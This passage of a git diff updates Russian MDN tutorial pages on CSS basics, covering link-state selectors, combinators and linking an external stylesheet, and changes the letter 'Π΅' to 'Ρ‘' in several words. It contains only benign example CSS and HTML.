Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ состояния Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, посСщаСтся Π»ΠΈ ΠΎΠ½, посСщаСтся, находится Π½Π°Π΄ Π½ΠΈΠΌ, фокусируСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈΠ»ΠΈ Π² процСссС наТатия (Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для нацСливания Π½Π° эти Ρ€Π°Π·Π½Ρ‹Π΅ состояния β€” CSS-ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹Π΅ ссылки Ρ€ΠΎΠ·ΠΎΠ²ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° ΠΈ посСщСнныС ссылки Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°.</p>
+<p>ПослСдний Ρ‚ΠΈΠΏ стилСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим Π² этом ΡƒΡ€ΠΎΠΊΠ΅, β€” это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты Π² зависимости ΠΎΡ‚ ΠΈΡ… состояния. ΠŸΡ€ΡΠΌΡ‹ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ этого являСтся ΡΡ‚ΠΈΠ»ΡŒ ссылок. Когда ΠΌΡ‹ создаём ссылку, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°Ρ†Π΅Π»ΠΈΡ‚ΡŒ элСмСнт <code><a href="/en-US/docs/Web/HTML/Element/a">&lt;a&gt;</a></code> (ΡΠΊΠΎΡ€ΡŒ). Он ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ состояния Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, посСщаСтся Π»ΠΈ ΠΎΠ½, посСщаСтся, находится Π½Π°Π΄ Π½ΠΈΠΌ, фокусируСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈΠ»ΠΈ Π² процСссС наТатия (Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для нацСливания Π½Π° эти Ρ€Π°Π·Π½Ρ‹Π΅ состояния β€” CSS-ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹Π΅ ссылки Ρ€ΠΎΠ·ΠΎΠ²ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° ΠΈ посСщённыС ссылки Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°.</p>
<pre class="brush: css">a:link {
color: pink;
@@ -199,17 +199,17 @@ a:visited {
color: green;
}</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ внСшний Π²ΠΈΠ΄ ссылки, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Π²ΠΎΠ΄ΠΈΡ‚ Π½Π° Π½Π΅Ρ‘ курсор, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠ΄Π°Π»ΠΈΠ² ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ достигаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π°:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ внСшний Π²ΠΈΠ΄ ссылки, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Π²ΠΎΠ΄ΠΈΡ‚ Π½Π° Π½Π΅Ρ‘ курсор, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠ΄Π°Π»ΠΈΠ² ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ достигаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π°:</p>
<pre class="brush: css">a:hover {
text-decoration: none;
}</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ значСниями для Ρ€Π°Π·Π½Ρ‹Ρ… состояний ссылки. Π― Π΄ΠΎΠ±Π°Π²ΠΈΠ» ΠΊ Π½Π΅ΠΌΡƒ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅, ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ понимаю, Ρ‡Ρ‚ΠΎ Ρ€ΠΎΠ·ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ довольно Π»Π΅Π³ΠΊΠΈΠΉ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΉ β€” ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π±Ρ‹ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° Π»ΡƒΡ‡ΡˆΠΈΠΉ Ρ†Π²Π΅Ρ‚? ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π’Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ссылки ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ?</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ значСниями для Ρ€Π°Π·Π½Ρ‹Ρ… состояний ссылки. Π― Π΄ΠΎΠ±Π°Π²ΠΈΠ» ΠΊ Π½Π΅ΠΌΡƒ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅, ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ понимаю, Ρ‡Ρ‚ΠΎ Ρ€ΠΎΠ·ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ довольно Π»Ρ‘Π³ΠΊΠΈΠΉ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΉ β€” ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π±Ρ‹ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° Π»ΡƒΡ‡ΡˆΠΈΠΉ Ρ†Π²Π΅Ρ‚? ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π’Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ссылки ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ?</p>
<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}}Β </p>
-<p>ΠœΡ‹ ΡƒΠ΄Π°Π»ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ Π½Π° нашСй ссылкС ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ ΠΈΠ· всСх состояний ссылки. Однако стоит ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ сайтС Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ посСтитСли Π·Π½Π°Π»ΠΈ, Ρ‡Ρ‚ΠΎ ссылка являСтся ссылкой. ΠžΡΡ‚Π°Π²ΠΈΠ² ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ Π½Π° мСстС, люди ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π° ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π±Π·Π°Ρ†Π° ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΆΠΈΠΌΠ°Ρ‚ΡŒ β€” ΠΊ Ρ‚Π°ΠΊΠΎΠΌΡƒ повСдСнию ΠΎΠ½ΠΈ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ. Как ΠΈ всё Π² CSS, сущСствуСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠ΅Π½Π΅Π΅ доступным с Π’Π°ΡˆΠΈΠΌΠΈ измСнСниями β€” ΠΌΡ‹ постараСмся Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠΎΠ΄Π²ΠΎΠ΄Π½Ρ‹Π΅ ΠΊΠ°ΠΌΠ½ΠΈ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… мСстах.</p>
+<p>ΠœΡ‹ ΡƒΠ΄Π°Π»ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ Π½Π° нашСй ссылкС ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ ΠΈΠ· всСх состояний ссылки. Однако стоит ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ сайтС Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ посСтитСли Π·Π½Π°Π»ΠΈ, Ρ‡Ρ‚ΠΎ ссылка являСтся ссылкой. ΠžΡΡ‚Π°Π²ΠΈΠ² ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ Π½Π° мСстС, люди ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π° ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π±Π·Π°Ρ†Π° ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΆΠΈΠΌΠ°Ρ‚ΡŒ β€” ΠΊ Ρ‚Π°ΠΊΠΎΠΌΡƒ повСдСнию ΠΎΠ½ΠΈ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ. Как ΠΈ всё Π² CSS, сущСствуСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠ΅Π½Π΅Π΅ доступным с Π’Π°ΡˆΠΈΠΌΠΈ измСнСниями β€” ΠΌΡ‹ постараСмся Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠΎΠ΄Π²ΠΎΠ΄Π½Ρ‹Π΅ ΠΊΠ°ΠΌΠ½ΠΈ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… мСстах.</p>
<div class="blockIndicator note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>:Β  Π’Ρ‹ часто Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅ ΠΎΒ <a href="https://developer.mozilla.org/ru/docs/Learn/%D0%94%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%BD%D0%BE%D1%81%D1%82%D1%8C">доступности</a>Β Π² этих ΡƒΡ€ΠΎΠΊΠ°Ρ… ΠΈ ΠΏΠΎ всСй MDN. Когда ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ доступности, ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π² Π²ΠΈΠ΄Ρƒ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ наши Π²Π΅Π±-страницы Π±Ρ‹Π»ΠΈ понятными ΠΈ доступными для всСх.</p>
@@ -226,7 +226,7 @@ a:visited {
<pre class="brush: css">/* Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ любой &lt;span&gt; Π²Π½ΡƒΡ‚Ρ€ΠΈ &lt;p&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ &lt;article&gt; */
article p span { ... }
-/* Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ любой &lt;p&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Π΅Ρ‚ сразу послС &lt;ul&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Π΅Ρ‚ сразу послС &lt;h1&gt; */
+/* Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ любой &lt;p&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Ρ‘Ρ‚ сразу послС &lt;ul&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Ρ‘Ρ‚ сразу послС &lt;h1&gt; */
h1 + ul + p { ... }</pre>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ нСсколько Ρ‚ΠΈΠΏΠΎΠ² вмСстС. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π² ваш ΠΊΠΎΠ΄:</p>
@@ -241,7 +241,7 @@ h1 + ul + p { ... }</pre>
<p>Π’ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΌ HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ прСдоставили, СдинствСнный элСмСнт Π² стилС <code>&lt;span class="special"&gt;</code>.</p>
-<p>НС Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ, Ссли это покаТСтся слоТным β€” Π’Ρ‹ скоро Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ это, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ большС Π½Π° CSS.</p>
+<p>НС Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ, Ссли это покаТСтся слоТным β€” Π’Ρ‹ скоро Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ это, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ большС Π½Π° CSS.</p>
<h2 id="Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅">Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅</h2>
diff --git a/files/ru/learn/css/first_steps/how_css_is_structured/index.html b/files/ru/learn/css/first_steps/how_css_is_structured/index.html
index c5bd2d4f2f..3956b38eec 100644
--- a/files/ru/learn/css/first_steps/how_css_is_structured/index.html
+++ b/files/ru/learn/css/first_steps/how_css_is_structured/index.html
@@ -42,7 +42,7 @@ original_slug: Learn/CSS/First_steps/Как_структурирован_CSS
<h3 id="Π’Π½Π΅ΡˆΠ½ΡΡ_Ρ‚Π°Π±Π»ΠΈΡ†Π°_стилСй">Π’Π½Π΅ΡˆΠ½ΡΡ Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй</h3>
-<p>Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ​<a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS</a> ΠΌΡ‹ ΡΠ²ΡΠ·Ρ‹Π²Π°Π»ΠΈΒ Π²Π½Π΅ΡˆΠ½ΡŽΡŽΒ Ρ‚Π°Π±Π»ΠΈΡ†ΡƒΒ ΡΡ‚ΠΈΠ»Π΅ΠΉ с нашСй страницСй. Π­Ρ‚ΠΎ самый распространСнный ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ способ крСплСния CSS ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, Ρ‚Π°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ²ΡΠ·Π°Ρ‚ΡŒ CSS сразу ΠΊΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΠΌΒ ΡΡ‚Ρ€Π°Π½ΠΈΡ†Π°ΠΌ, Ρ‡Ρ‚ΠΎ позволяСт ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… всё с Ρ‚ΠΎΠΉ ΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ стилСй. Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ страницы сайта Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅, поэтому Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» для основного Π²ΠΈΠ΄Π°.</p>
+<p>Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ​<a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS</a> ΠΌΡ‹ ΡΠ²ΡΠ·Ρ‹Π²Π°Π»ΠΈΒ Π²Π½Π΅ΡˆΠ½ΡŽΡŽΒ Ρ‚Π°Π±Π»ΠΈΡ†ΡƒΒ ΡΡ‚ΠΈΠ»Π΅ΠΉ с нашСй страницСй. Π­Ρ‚ΠΎ самый распространённый ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ способ крСплСния CSS ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, Ρ‚Π°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ²ΡΠ·Π°Ρ‚ΡŒ CSS сразу ΠΊΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΠΌΒ ΡΡ‚Ρ€Π°Π½ΠΈΡ†Π°ΠΌ, Ρ‡Ρ‚ΠΎ позволяСт ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… всё с Ρ‚ΠΎΠΉ ΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ стилСй. Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ страницы сайта Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅, поэтому Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» для основного Π²ΠΈΠ΄Π°.</p>
<p>Π’Π½Π΅ΡˆΠ½ΡΡ Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй - это ΠΊΠΎΠ³Π΄Π° Ρƒ вас Π΅ΡΡ‚ΡŒ CSS ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠΌ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ <code>.css</code>, ΠΈ ссылка на Π½Π΅Π³ΠΎ ΠΈΠ· HTML-элСмСнта <code>&lt;link&gt;</code>:</p>
@@ -73,7 +73,7 @@ p {
<p>Атрибут <code>href</code> элСмСнта {{htmlelement("link")}}Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Ρ„Π°ΠΉΠ» Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρ„Π°ΠΉΠ» CSS находится Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠ°ΠΏΠΊΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊΡƒΠ΄Π°-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΅Ρ‰Ρ‘ ΠΈ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρ„Π°ΠΉΠ» CSS находится Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠ°ΠΏΠΊΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊΡƒΠ΄Π°-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΅Ρ‰Ρ‘ ΠΈ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html notranslate">&lt;!-- Π€Π°ΠΉΠ» находится Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠΎΠ΄-Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ <em>styles</em>, находящСйся Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ --&gt;
&lt;link rel="stylesheet" href="styles/style.css"&gt;
@@ -133,7 +133,7 @@ p {
